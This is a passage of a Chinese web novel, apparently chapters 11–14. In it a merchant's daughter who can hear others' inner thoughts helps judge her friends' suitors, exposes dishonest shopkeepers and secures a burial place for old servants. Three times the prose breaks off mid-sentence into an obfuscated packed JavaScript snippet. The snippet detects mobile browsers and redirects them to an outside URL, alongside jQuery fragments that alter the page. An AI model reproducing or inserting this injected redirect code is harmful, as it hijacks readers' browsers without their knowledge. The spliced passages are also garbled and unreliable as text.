“老爷回来了！水已经备好，温度正好合适，不妨先洗洗解解乏。”管家鞍前马后，嘴角快咧到耳后根。 “你这老货，今日是吃错药了？还是坏了什么事？”自打这人成了管家，就很少干伺候人的活，哪怕这个人是他。 因为沈家的管家要操劳的事太多，根本闲不住。 所以，突然这般热情，让沈福达感到陌生。 “老爷说的是哪里话，小的虽是管家，但也是你的小厮，服侍老爷不是理所应当吗？” “去去去，别在这碍手碍脚。”沈福达一把推开要给他解腰带脱衣服的管家，只觉得哪哪都不习惯，还膈应。 管家黯然退场，出去后闷笑出声。 十年了，都十年了，他的月例终于…涨了！ 喜大普奔，恨不得挂串炮竹庆祝，这在沈家几乎是不可能发生的事。 因为，他无比清楚自家老爷夫人有多抠搜。 一分钱掰成两半花，都算夸赞了。 他们是把自己的一文钱捂得严实，一门心思掏别人兜里的。 若非有了小姐，怕是沈家早就把整个金陵都蛀穿了。 老爷夫人因为小姐，才变得像个人，而不是只进不出的貔貅。 沈家，面貌一新。 现在，轮到他们了。 动不动就罚扣月例、工钱，能照常发下来都算走运，没曾想，还有涨的一天，一涨就是一份月例。 哦吼吼吼，看日后出门去，谁家管家还有脸讥笑他活得不如狗！ 他们家主子会给涨月例吗？会一口气发双份吗？ 只有沈家，只有他们，有此殊荣！ 连管家都乐不可支，更别提沈家其他下人了。 自口头应下，给家中下人及外头伙计们都涨月例工钱后，岑内琇发现伺候她的丫鬟嬷嬷们变得自觉起来。 丫鬟时不时就露齿笑，干起活来细致又卖力。 嬷嬷更是如此，贴身侍奉起居、搀扶起夜、布菜斟茶、揉捏舒缓…… 嗯？ 以前我过得到底是什么苦日子？ 和沈福达一通诉说后，夫妻俩先是怒骂： 这群眼皮子浅的，一个个见钱眼开，不见兔子不撒鹰…… 临睡前骂声越来越小。 感觉一直过这样的生活，好像也挺好。 四海酒楼。 人逢喜事精神爽。 “掌柜的看着心情大好啊！前些天像是谁欠你的钱不还一样，搞得我们一顿饭吃得没滋没味，要不是四海酒楼菜色尚可，真不乐意光顾。” “哈哈哈都是我的错，前些天出了点事，忍不住忧心，还望海涵！这是我们大师傅刚研制出来的新菜色，特地送来给诸位尝尝，就当借花献佛赔罪了，还望日后多多光顾，莫要因我一时之差，恼了四海酒楼才是。” “行吧，看在大师傅这道新菜的份上，就此揭过。” “多谢多谢。”掌柜仍旧是笑眯眯的模样。 来客心情愉悦，新菜色香气扑鼻，一时间胃口大开，呼朋唤友，又点了满满一桌。 生意越好，众人越喜，一天下来，仍觉得亢奋。 拎着酒楼余出来的菜，提着刚买的一块肉，杂役伙计红光满面回到花子巷中的家。 “娘、媳妇、大子、我回来了！” “爹，喊什么？回来就回来，还嚷嚷得…你带什么回来了？以后不过日子了，怎么还买肉了？” 听到肉，撒丫子跑出来的小孩，激动得手舞足蹈。“爹，肉，吃！” “吃肉，今晚就吃，让你娘给你炖肉吃！” “吃什么吃？这不是还有…哪来的菜？这么多？” “大师傅研制了新菜色，酒楼生意好得很，掌柜管事都开心，允我们将客人剩下的菜打包带回。” “这可真是太好了，平时可吃不上呢。” “干净的，没动过几筷子。” “吃剩的也没关系，我们家什么光景你又不是不知道，能省一点是一点。虽然娘现在能贴补我们，但也得算着花，你那里的工钱又不稳定，保不齐哪日又扣……” “哦我忘了告诉你了，工钱不扣了，下月起还……” “真的？不扣了，不会是拐着弯罚没吧？”妇人更愁了。 “放心吧，不仅不扣不罚，还涨了！” “涨了？涨多少？一文？十文？”喜出望外，大胆猜测。 杂役伙计伸出的一根手指转了转，中气十足道：“一份月例。” “多少？你在说什么，我听不懂。” “意思是，日后月例发双份，我每月都可以领两份工钱。” “怎么可能？你是不是诓我？不可能，我应该在做梦…” 男子捏了捏妇人脸颊肉：“疼吗？” “你说疼不疼！”妇人反手就是一个窝心拳。 男人早有预料，侧身一避，拳头落在肩膀处。“嘶——谋杀亲夫啊！” “闭嘴！” “媳妇，疼的话，就说明不是做梦，涨工钱的事是真的，直接涨一份月例的事，也是真的。” “你们东家换人了？”妇人犹豫片刻，小心求证。 男子扶额，哭笑不得。“没换，听说是小姐央求夫人松了口，连家中的下人也跟着涨了月例。” “沈小姐也太好了吧？”妇人惊呼。 “对啊，小姐太好了。” “她这么好，我们可不能忘恩负义，更得踏踏实实做事。” “放心吧，我现在一个顶俩，大伙都牟足劲干活呢。” “那就好，我这就去把肉炖了，你去接娘，我们今晚一家人痛痛快快吃一顿。” “行，我这就去。” ……… * 魏家老爷子六十大寿，轰动了半个金陵，京城那边更是来了好几辆马车，据说是姻亲。 “还不算姻亲。”魏雅淡淡道，有种事不关己的漠然感。 “可瞧见过？相貌如何？”谢谰语问。 “父母之命媒妁之言，见不见都一样。” “很可能是你未来的夫婿，总不能连有几只眼睛几个鼻子都不知道吧？”伍珂玥附和。 “定是两只眼睛一个鼻子。” “……” “品性才是最要紧的。”万曦接话。 “一时半会哪看得出来，只知他叔伯是东宫里说得上话的人，于家中生意指定是有帮助的。”魏雅扯了扯嘴角。 她的婚事，从来都由不得自己做主。 姑母嫁了在皇帝身侧伺候的宦官义子，为她谋划的这位，也算是不错的人选了。 “你看不出来，我们也看不出来，但有人能啊！”谢谰语话音刚落，余下几人齐刷刷将目光转向倚栏喂鱼的沈宝珍。 感受到灼热的视线，沈宝珍疑惑发问：“都瞧着我做什么？莫不是今日穿得不合宜？”她还是第一次来为长者贺寿。 刚下马车就和爹爹娘亲分开了，被丫鬟领着来到此处。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749876|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没在听我们讲话？” “太吵了，听不清。”嘴上说着，心里念着，还不如忽略。 “……”有被内涵到的四人。 谢谰语郁闷地复述了一遍。 沈宝珍摇头：“我不能。” “你都能看透我们，轮到他们怎么就不行了？”谢谰语表示不信。 “怎么又成他们了？” “男宾现下都在一处，辨一人与辨一群无甚分别。” “这倒也是。”伍珂玥若有所思。 魏雅没太大情绪起伏，左右也改变不了什么。 万曦却生出兴致，她倒要好好瞧瞧，沈宝珍如何辩识人心。 魏家是典型的园林，亭台楼阁依势而建，穿过池塘小桥，遁入竹林间假山，男子交谈声断断续续传来。 “可会被发现？” “嘘，小点声。” 得，很明显。 沈宝珍有些无奈，这若是传出去，怕是要出大丑。 再瞧其余四人。 谢谰语和伍珂玥小脸红扑扑，带着兴奋和期待。 魏雅和万曦用帕子虚掩口鼻，一副掩耳盗铃之态。 另一边。 “久仰陈兄大名，今日得见，甚幸！”魏家子道。 “此行得见金陵文学之昌盛、人物之俊彦、山川之灵秀，我亦幸之。”京城来的陈家子应。 【一个破地方，长途跋涉半月之久，若非有十里秦淮这等风月繁华之地，我才不乐意来给魏家老不死贺寿。 真不知道为何非要我跑一趟，区区魏家女也配居正妻之位？还不如我院里那些如花似玉的姬妾。】 …… 听到兄长与京城来的那位陈家子的交谈之言，魏雅抗拒的情绪稍解，却见沈宝珍的脸色变得复杂。 “怎么？”魏雅走近小声道。 沈宝珍压低嗓音：“他，绝非良配。”目无尊长，沉湎淫逸，自视甚高，姬妾成群。 “为何？”魏雅一惊。 她听到的关于此人的评价，绕不开谦谦君子，相貌堂堂，风度翩翩。 “听其言，不妨观其行。”沈宝珍点到即止，魏雅陷入沉思。 “现在说话的这位，是我二哥在金陵学院的同窗，姓关，据说才学过人。”伍珂玥朝沈宝珍眨了眨眼。 后者心领神会，侧耳倾听。 【魏氏区区商户女，竟能攀上京城子弟，姻亲果然是改换门楣最快的方式。】 听罢，沈宝珍看了眼伍珂玥，视线一转落于谢谰语，最后定在万曦身上。 方才的心声，来自其兄。 万家祖上是文人，因家境所迫转而经商，成了通晓诗书文化的商贾。 万家现已吹金馔玉，想重现祖上荣光无可厚非。 晟朝对商户科举有限制，但若娶了官家女眷，想来可以运作一番。 听他之言，定是早有谋划。 难怪伍珂玥不看好谢谰语与万家少爷。 察觉到沈宝珍的目光，万曦不自在地挪动脚步。 不会又猜到自己的小心思了吧？她只是好奇而已。 【沈宝珍不会又没在听吧？二哥那同窗不会也是道貌岸然之徒吧？】伍珂玥频频看向沈宝珍。 沈宝珍稳了稳心神，再听。 【盐商饫甘餍肥，若得伍家女青睐，科举之途顺遂，委屈杳娘为妾，何尝不可？】 “你猜对了。”寿宴还未开席，沈宝珍隐隐有了饱腹感。 伍珂玥：？？？我猜什么了？ 12. 第 12 章 回到家中，沈宝珍早早洗漱歇下。 没过两日，就听说京城来的贵公子，在秦淮河畔一掷千金，只为博得美人一笑。 原以为不会再有这人的消息，没想到，竟传来他与魏雅定亲的消息。 “他这般作派，你竟也忍得？”万曦气急。 “这门亲事早已说好，他此番前来只是过个明路罢了。”魏雅苦涩一笑。 【父亲二哥不以为意，母亲劝我容忍大度，嫁他亦或旁人，并无分别。】 “婚期定于何时？” “来年，秋。” “这么快？”万曦一脸不舍。 “原本还要再早些，但我不愿，这一去，怕是再难相见，便商量着把时间往后延了延。” 【那位比我还不乐意，生怕娶妻之后不得逍遥，一时间倒不知谁更可笑可悲。】 沈宝珍张了张嘴，不知该说什么。 她能说金陵四大家族，明年夏就要遭殃？婚期在秋季，八成要泡汤。 她能说东宫迟早易主，树倒猢狲散，试图用姻亲攀上太子，找死无异？ 一时间，小聚的几人，都有了难言的心事。 散场后，各回各家。 伍珂玥和谢谰语顺路，两人同乘。 “你真派人去那位姓关的才子家乡打听去了？”后者挤眉弄眼。 “二哥说他这同窗学问好，品性高洁，爹娘已经松口让我相看了。上回沈宝珍说的那话，总让我觉得不对劲，还是要探个明白。” “沈家生意做得广，不少青年才俊都被纳入择婿行列，保不齐真知道些许内情。” “我也是这般想的。” …… 沈家。 几家走得近，很多事容易受到影响。 比如，儿女的终身大事。 “乖宝可有…意中人？”岑内琇斟酌着措辞，最后还是大胆开麦。 沈宝珍讶异抬眸。“并无。” “那，乖宝对未来的夫婿，可有什么要求？”沈福达紧接着问。 他们夫妻俩这些年不仅忙着做生意，而且留意着金陵甚至周边的俊秀。 坦白讲，确有几个人选。 但自打沈宝珍讲述完那个梦境，总觉得精挑细选出来的女婿候选人，莫名变差了。 夫妻俩一琢磨，意识到是他们眼界变高了。 是以，挑来挑去，选来选去，没有一个值得让沈宝珍知晓。 原本也不着急，可架不住万、魏、伍、谢行动迅速，声势浩大。 显得他们根本不在意闺女似的，这才有了一家三口的袒露心扉。 沈宝珍摇头，她根本就没有这方面的规划，只想先熬过建兴二十三年春这一大劫。 至于什么夫婿，别是招来索命阎罗！ 沈福达和岑内琇眼神交流了一番。 【乖宝这是什么意思？难不成，让我们做主？ 【婚姻大事，父母之命，媒妁之言，但日子是她自己过，总得她满意点头才行。】 【要不，找个由头将他们聚齐，让闺女偷偷见见，合眼缘再接着下一步？】 【这个主意不错，买东西还得货比三家，更别说嫁人了。】 【是这个理。】 【择日不如撞日，要不就明天吧，越往后我心里越没底。】 【行。】 沈宝珍听罢，果断摇头。“不行。” “乖宝说什么不行？”岑内琇忙问。 “眼下不是谈婚论嫁的时机，爹爹娘亲不用劳神将人找来。”沈宝珍解释道。 “乖宝怎么知道我和你娘的打算？”沈福达察其有异。 “我听到了。”沈宝珍如实相告。 “怎么可能？” “不可能吧？” 这事他们都没说出口，还是凭借近二十年的夫妻默契临时起意，绝不会有第三人知晓。 “爹爹、娘亲，我先前讲过，我可以听到你们所有人的心声。” 沈福达：？？？ 岑内琇：？？？ 青天白日，朗朗乾坤，出现幻觉。 沈福达讪讪笑道：“乖宝先前不是蒙的？” 岑内琇：“乖宝你真能听见？” “爹爹娘亲若是还不信，可以当场考验我。”再不信，她没辙了，日后也不会再提。 【我现在想…想点什么好？若乖宝真能洞察人心，不如随我前去考验各大掌柜、管事，看看谁有异心，谁手脚不干净？】 沈福达心念一动，沈宝珍当即应承：“爹爹想让我听听掌柜、管事可有异心，手脚干不干净。” 沈福达震惊地张大了嘴巴，活了快四十年，这是最让他难以置信的事了。 若非眼前人是自己闺女，亲生的，他怕是已经奔寺庙、道观去了。 【乖宝还真猜…哦不，听对了？那我也来试试，如果真有这本事…正好过几日想买批新奴仆，乖宝可以帮忙挑选。】 沈宝珍朝岑内琇点头：“娘亲想采买一批奴仆，让我帮着挑选。” 岑内琇缓缓转头，与沈福达四目相对，不是在做梦吧？真听得见？！ “我听得见。” “爹爹娘亲日后若是不想费口舌，或是有什么不便言语的，可以这般告知我。” “不过离得远，就听不见了，约莫是十步以内。” 沈宝珍说完，静静等待二人反应过来。 “难怪乖宝喜欢上独处，不愿去人多的地儿，肯定是太吵了，扰得慌，是不是？”岑内琇心疼地抚了抚沈宝珍的耳廓。“苦了我的儿。” “乖宝莫怕，爹爹这就吩咐管家，把旁边的宅子买下来，将靠近芳菲院那堵墙打通，再让下人们离远些。”沈福达补充道。 “你把宅子买下来就成，别打通，打通了又得安排下人打理，人一多总有不守规矩的，闹到乖宝跟前。” “也是，那就买下来，放着。” 沈宝珍其实有被视为异类的顾虑，没想到爹爹娘亲相信后，第一反应是疼惜。 鼻子一酸，淌下泪来。 沈宝珍不禁想，如果时间能停在这一刻，就好了。 “好端端的，怎么哭了？” “可是哪里难受？” 沈福达和岑内琇有些慌乱，刚要唤伺候的人进来，就被沈宝珍瓮声瓮气的话语逗乐。 “爹爹娘亲我不嫁人，你们要一直陪着我。” “好好好。”夫妻俩相视一笑，哄着道。 “乖宝，你能听见心声这事，万万不可让除我们三人之外的第四人知晓，防人之心不可无。”想了想，沈福达嘱咐道。 “你爹爹说得对，才不可漏尽，势不可使尽，要有所保留，方能全身而退。”岑内琇深以为然。 “嗯，我记下了。”沈宝珍若有所悟。 …… 冬藏财启，盘账择吉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749877|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 金陵沈家产业大大小小的掌柜齐聚一堂，沈福达刚露面，众人齐刷刷起身相迎。 “都坐。”沈福达颔首应。 【东家突然将我们召集，还让带上历年账册，难道是发现什么了？不，不可能，这么多年都没能发现，现在也不会有问题，不能自己吓自己，镇定，别露怯。】 内室静坐的沈宝珍，倏地抬眸。 爹爹神机妙算，还真有瞒天过海之辈。 只是这位掌柜，到底是谁？ 【东家不会要翻旧账吧？我还想着今年数酒坊赚得多，指定不垫底了，辛苦一年到头能得上东家半句夸赞，唉。】 沈宝珍表示认同，提笔写下赏罚分明四字。 刚要差徐力将此言呈递爹爹，又听到这位掌柜沾沾自喜。 【还是老葛这家伙出的主意妙，甭管什么不二酒，酒水酒水，兑些水还不是一样？那些个酒蒙子，哪里喝得出来？嘴刁的，就给兑劣酒，嘿嘿嘿。】 沈宝珍默默添上“数酒坊，不二酒，掺杂水或劣酒。” …… 厅堂主位坐着的沈福达，陆陆续续接收着来自沈宝珍的提示。 不论有没有指名道姓，每看一份，就能轻而易举对上号，然后毫不留情处理掉。 座下本就紧张局促的掌柜们，越发不安起来。 东家怎么什么都知道？ 丰稷杂粮铺缺斤少两又不是一年两年了，以前东家还夸葛掌柜来着，怎么莫名发这么大火？ 哦，难怪了。 原来不仅短了买主的量，老葛这个胆大包天的家伙，还昧下了东家的那份。 狮子头上拔毛，活得不耐烦。 就算天皇老子来了，这回也帮不了。 都说无奸不商，无商不奸，东家是奸商中的奸商，哪里容得了他们偷奸耍滑，还是夹紧尾巴做人吧。 揪出只硕鼠，沈福达只觉畅快。 再瞧眼前的一个个，都没那么不爽了。 本以为剩下的没什么大问题，没想到，还有漏网之鱼。 “继续。”沈福达让余下的几位掌柜，预汇报今年收支状况。 “东家，典当行今年的进账，会比往年多上一成。” “不错。”沈福达不吝赞美。 裕民典当行的掌柜悬着的一颗心，稍稍放了放。 认真分析起能够创收的原因，主要在今岁官府出钱募民、上月起各大医馆药堂免费发放药汤…让很多百姓有了余钱，刚入冬就有不少人前来赎开春典当的御寒衣物，以及其它物件。 低买高卖，典当行自然是赚的。 正准备略过他，听其他人发言的沈福达，又收到来自沈宝珍的提醒。 众人眼观鼻口观心，顿觉又有人要倒大霉。 因为此前每次东家大发雷霆，都是因为看了不知出处的白纸黑字。 犹如催命符，让人生出惧意。 “裕民典当行，呵，好一个活当变死当！”沈福达冷冷看向下首的王掌柜。 被戳破的王掌柜身子一软，从椅子上滑落在地，试图蒙混过关，讪笑着说年纪大了，腿脚都不听使唤。 伴着涨得通红的脸，脑门不断滚落的汗珠，解释显得那般苍白。 “我看你是不见棺材不落泪，自己坦白，把私吞的银子连本带利归还，我还能给你一份体面。” 众人：私吞银子连本带利归还，才是重点吧？ 13. 第 13 章 王掌柜心如死灰，他不明白，自己做得那般隐晦，堪称天衣无缝，怎么会被发现？ 别说他本人了，就连沈福达都觉得如此从中赚差价牟利的手段，确实高明。 不遮不掩，在账册上写得一清二楚，完全经得起查证。 方法说得上简单，举个例子： 客人来活当估值十两的物件，掌柜只开价三两，再让自己人四两赎回； 过阵子又拿来当，咬死这次要当八两，一来一回赚了五两差价； 原主手头宽裕后来赎，典当行这边报价十两银了，赎不起，就变成死当； 典当行有的赚，掌柜更赚…… “东家我错了，再也不敢了，我把银子都还回来，哦不，连本带利归还，绝不敢再犯，求你，求你绕过我这一回！”王掌柜跪在地上，泣不成声。 沈福达怒目而视。“哼！骂名都让裕民典当行背了，你倒是会算计，还想有下次？一次不忠，百次不用，不想进狱中蹲大牢，今日之内就把欠下的如数送回，否则……” 沈福达的未尽之言，让王掌柜止不住打抖。 他不敢耽误，连滚带爬去筹钱。 走出厅堂的那一刻，后悔得肠子都要青了。 图什么呢？ 银子没了，生计没了，往后的日子可怎么过？ 金陵是待不下去了，哪哪都是沈家的产业，离开去别处？ 念头一起，如燎原之势。 “行了，垮着一张脸给谁看？我早就说过，好好干定不会亏待你们，一个个偷奸耍滑，真以为我不知道？ 没惩戒的，不代表我被蒙在鼓里，只是想给你们一次改过自新的机会。 今儿话就放在这里，拿了我的都给我吐出来，还有活路，否则，再来上一回，呵！”沈福达连敲带打。 “东家放心。” “没什么放不放心，反正你们的位置不想坐了，有的是人接替。别以为是在给我卖命，你们是为自己，为钱程。” “是。” “有罚就有赏，念在你们一年到头尽心竭力，没有功劳也有苦劳，待那些叛主之徒将银子归还，利钱都赏赐于尔等，日后检举者有功独得。” 掌柜们嘴角止不住抽抽，东家不想赏可以不赏，没必要膈应人。 但面上还是作出感恩戴德，愿为东家鞠躬尽瘁的模样。 沈宝珍：…… 实在怕绷不住，一个个麻溜告退。 待人散去，沈福达进到内室。 “爹爹赏的太少了。” “不少了，他们刚得了双份工钱，过犹不及。”沈福达抠门属性爆发，言之凿凿。 沈宝珍将信将疑。“可据此看来，多藏厚亡，得不偿失。” 沈福达想了想，好像也对。 重赏之下必有勇夫，若想让他们互相揭发，还是得许以重利。 比如说，分半成？不能再多了。 得到口信的众掌柜：行吧，蚂蚁再小也是肉。 暂时消除生意场上的隐患，沈福达马不停蹄带着沈宝珍巡视周边庄子。 揪出好几个欺压佃农、仗势欺人的管事。 “沈家名声都让他们败坏了！” 闺女能读心，也有坏处。 许多腌臜事，都被她晓得了，沈福达强行挽尊。 对爹爹娘亲有滤镜的沈宝珍，嗯嗯啊啊点头。 “乖宝肯定累坏了，剩下那些地方，爹爹自己跑一趟就行，不用跟着一块了。”他对闺女的能力，已经信得不能再信了。 役民怨声载道的新田庄，说什么都不能让她现在去。 不然他这个爹，怕是声名尽毁。 应下的架桥铺路建凉亭挖陂塘的差事，也该提上日程了。 沈福达自顾自规划好，又担心沈宝珍还想跟着，干脆抬出岑内琇要她帮忙这事。 正中沈宝珍下怀，她这段时间接收的信息量太大了，得缓缓。 …… 沈家新田庄。 “我真受够了，作坊的骡子都没我们忙！” “在苏河那边清淤固堤，还能休息喝口水吃点东西，在这恨不得累死我们！” “就算沈家捐了三十万两又怎么样？巡抚大人只答应让我们送河淤过来，没让我们帮着开荒翻地啊？” “一个月了，整整一个月了，我受够了，我要疯了！” …… 沈福达抵达的时候，被支使压榨了一月的役民们，濒临崩溃暴动。 叮铃哐啷的马车缓缓近前，管事、佃户们先后喊着东家来了，落在他们耳中犹如催命符。 紧绷着的弦咻地一下断了，不知是谁率先嘶吼，役民们一股脑冲向马车。 车夫都被这阵势吓住了，哆哆嗦嗦提醒车厢内的沈福达。 沈福达像是早有预料，淡定地掀开帘子往外瞧了一眼，给自己倒了杯茶一饮而尽后，才露面。 沈福达抬手，狂躁的役民们蓦地安静下来。 “让管事过来，我有话要问。” 沈福达朝着为首的几人发号施令。 “休想！你再不放我们离开，自己也休想走出这里。” 沈福达呵呵笑着，眼神冰冷地像看死人。 “腿长在你们身上，有谁说过不准离开？想走就走，我沈家田庄绝不强留！” “你说话算话？” “真的？” “老子这就走，不受这鸟气！” “走走走，可以回去了。” …… 沈福达就这么站在马车上看着，与被役民堵住来路的管事遥遥相望。 急得不行的他，看到完好无损的沈福达时，抬头擦了擦汗，幸好。 等役民们四散开，管事和佃户们跑了过来。“老爷没事吧？” “好着呢。” “这些役民太不好管教了，明明留下来也是一样领工钱，偏偏吵着闹着要回去！”管事义愤填膺，佃户们期期艾艾附和。 “行了，他们可不是为田庄做事，留与不留我们也奈何不了。”看着迫不及待离开的一个个，沈福达眯了眯眼。“不过，既然走了，好事自然轮不上他们了。” “什么好事？”管事简直是捧场王，佃户佯装期待。 “乖宝和谢、伍、万、魏这四家的小姐各出了五万两，合计二十五万两，要在金陵各处架桥铺路建凉亭挖陂塘。” “积善之家，必有余庆。”管家盛赞。 沈福达勾唇。“本想着先紧着此处役民所在的村子，现在看来，他们并不稀罕呐！” “什么？”管事大惊，他们还真错过了件大好事。 佃户呼吸一重。 架桥铺路建凉亭挖陂塘？ 若他们是役民，为村里争取到这样一个机会，应该能被记入族谱吧？再不济也会被全村人铭记于心。 可是，刚才他们的所作所为已经惹恼了东家，肯定是没有可能了。 “罢了，总不能一竿子打死一群人。”沈福达作出一副大度能容人的模样。 “老爷说的是。”管家只觉牙龈痒痒的。 “从剩下的这些役民中，选出此前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749878|174288||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月余干活最卖力的十人，优先去他们村子架桥铺路建凉亭挖陂塘。” “是。” “以后每月按照这个要求，选定十个名额，直至明年春耕结束。” “是！”管家中气十足应。 不愧是老爷。 如此一来，不仅平息怨气，还能让他们从不情不愿到趋之若鹜。 方才打头闹腾撂挑子的那些，指定要把肠子悔青，哈哈哈。 事实如其料想得那般。 择村架桥铺路建凉亭挖陂塘的消息口口相传，如愿回到苏河固堤的一个个，直接傻眼了。 如果没有离开，兴许就是他们所在的村子，迎来这样一个千载难逢的机会。 等反应过来，想要换回给沈家田庄送河淤的差事，发现它已经成了香饽饽，一般人都抢不到，就连役头都在争。 青云县，凹山村。 被选中参与苏河治理徭役的石家兄弟俩，突然回来了。 “让你们踏实干活，家里老娘有村里帮着照顾，还大老远回来一趟作甚？”村长满头白发，但精神矍铄，声如洪钟。 “阿爷，有贵客来了，快喊上叔伯们迎一迎。”村里人沾亲带故，石家兄弟俩的爷爷和村长还是堂兄弟。 “二头你腿脚麻利，挨家挨户喊你叔伯们去。”看着长大的两个小子，村长自然是信的，当即吩咐老二叫人，自己则向老大了解具体情况。“什么贵客？” “阿爷我们边走边说，马车上不来，贵客还在山下等着。”石大头压不住笑，没说上两句就嘿嘿傻乐。 “马车？坐马车的贵客？来我们村里有什么事？怎么和你们一块回来了？到底是什么事啊？快说！”老爷子都快急死了。 “这事还得从我们去应募说起……” “长话短说！” 石大头一噎，老老实实交代。 “我们负责将清出的河淤倒到沈家田庄，因为我和阿弟干活卖力，又没跟着闹事，所以得了个帮村里架桥、铺路、建凉亭、挖陂塘的机会。 贵客是来看村子情况的，估出需要多少银两后，就会把这笔钱交给村长阿爷，村子里出人力就行，男女老少不论，还发工钱，干得多挣得多，工期三个月，提前一日，奖励十两，提前两日，二十两，三日三十两…” 老爷子听完，咽了咽口水，挠了挠脑袋，不小心扯掉一根白发，将其随手一丢。 “没诓我？” 架桥铺路建凉亭挖陂塘，无论哪项，受益的都是他们自己，建得又快又好，除了工钱，还有奖励…… 天上掉馅饼，都不是这么掉的啊？ “阿爷，我哪敢诓你？” “年纪大了好像耳朵不好使了，从你和二头去应募开始说起，我再捋捋。” 石大头：……我就知道。 下山路不好走，一老一少说着正事，步伐更慢，很快就被二头等人追上。 “大头你刚说了什么？我们没听清，再说一遍，这小子光知道喊我们来，问他什么事屁都不放一个。”一汉子上前拍了拍石大头的肩膀，后者疼得龇牙咧嘴。 “四伯轻点，我这肩膀还要。” “都出去磨练一番了，怎么还受不住？”在村长的瞪眼下，汉子讪讪地收回手。 “一拳打死野猪的力气，再磨练也扛不住啊！”另一个汉子接茬。 “我都收着力了。” “那也……” “别吵吵，别误了正事。”村长举起手杖，敲了敲路边树干。 “对对对，还有贵客。” …… 14. 第 14 章 另一边。 “你爹爹就这么让你回来了？”岑内琇一手叉腰，一手指着沈福达可能在的方向道。 “有随从护着，沉夏陪着。” “那也不成，他答应亲自送你回来，自己说过的话忘得一干二净，等人回来，定要好好与他说道说道。” “是我让爹爹不必送的，庄子上事又多又杂，一来一回又得耽误不少时日，我还盼着爹爹能在冬至前归来呢。” “冬至？应该没问题。” “那就好。”沈宝珍松了口气，露出甜甜的笑。 “你呀。”岑内琇宠溺地点了点她的鼻子。“既然回来了，那明儿就让牙人把奴仆都带来瞧瞧。” “娘亲，我忘了问了，为何要买下人？家里已经有很多了。” “有些上了年纪的，要赎身归家，总得找些人代替，隔壁新买的宅子，虽不常住，但时不时得派人去洒扫一番，还得安排随从看护，别被歹人占了，窜到这边来。” 【年纪大了，干活慢慢吞吞，和吃白饭没什么分别，牙行不收，只能清出去了，这次专挑年轻力壮，做事麻利的。不好，乖宝听得到。】岑内琇露出懊恼的神情。 伺候的嬷嬷听到夫人同小姐说的场面话，垂眸掩住眼底悲戚。 现在的老姐姐们，就是日后的自己，卖身为奴，从一开始就注定了不得善终，能奢望什么呢。 沈宝珍轻叹：“娘亲，家中上了年纪无人赡养的老人，问问愿不愿意去庄子上，若是…若是…可以择一处安息。” 嬷嬷像被施了定身术，连呼吸都停住了，唯有掌中的指甲印痕，泄露了内心的惊涛骇浪。 小姐说了什么？ 要给她们这些奴婢随从，临了一个安息之地？ 这、这是真的？ 自己莫不是在做梦，不，不可能，做梦她都不敢这样想。 没有哪个主子会在乎下人的身后事。 活着的时候都不见得有几分人样，老了死了，一床破席子卷吧卷吧丢乱葬岗一了百了。 如果爬到她这个位置，或许还能有善终，得以赎身归家，与至亲团聚。 可，少之又少。 因为，若有至亲庇护，又怎会沦落至此。 果然，是她上了年纪，精力不济糊涂了。 “刘嬷嬷，刘嬷嬷？你还没上年纪怎么就聋了？不会也要到庄子上去了吧？”岑内琇心头一紧。 这人虽是半路买来的，可伺候了这些年，她都习惯了，冷不丁要换掉，真不知道让谁替，不行，得让她在离开前，培养出合适人选才行。 “啊？夫人有什么吩咐？”刘嬷嬷回神。 “按小姐吩咐办，家中上了年纪的那些，没人赎身没地去，就到庄子上，帮着种庄稼什么的，自给自足，蹬腿前山上指一处，就是日后的安息之地了，也不枉主仆相识一场。” “是，谢夫人小姐，老奴这就去办。”刘嬷嬷哽咽着回，一走出朝晖居，眼泪就落了下来。 她没有听错，是真的。 一众几乎在等待死亡宣判的老奴婢随从们，在刘嬷嬷踏进前院倒座房那一刻，头就低了下去。 众人不愿，被看到自己狼狈不堪的一面。 “老姐姐、老哥哥们莫要丧气，小姐求了夫人，让你们到庄子上颐养天年，有余力就帮着下地干活，得闲了上山寻一处，若是哪日受不住了，便可埋身于此。这可是天大的好事，夫人已经同意了，适才吩咐我来，可是我说得不够明白？还是……” 抑扬顿挫，饱含感情的一番话说完，一干人等毫无反应，刘嬷嬷都有些不自信了。 难道，是她太想当然了，眼前这些人还有更好的去处？ 那要不要去跟小姐说一声，别勉强…… 刚想到这，嗷地一声哭嚎响彻天际，刘嬷嬷险些没站稳。 紧接着又是一人哭天喊地，局面一发不可收拾。 刘嬷嬷：不是，别光顾着哭，到底是怎么想的？去不去啊？！ 等刘嬷嬷再出现在朝晖居，身后跟着一群两鬓斑白、双眼红肿、走路颤颤巍巍的老仆人。 岑内琇瞄向刘嬷嬷：你动粗了？ 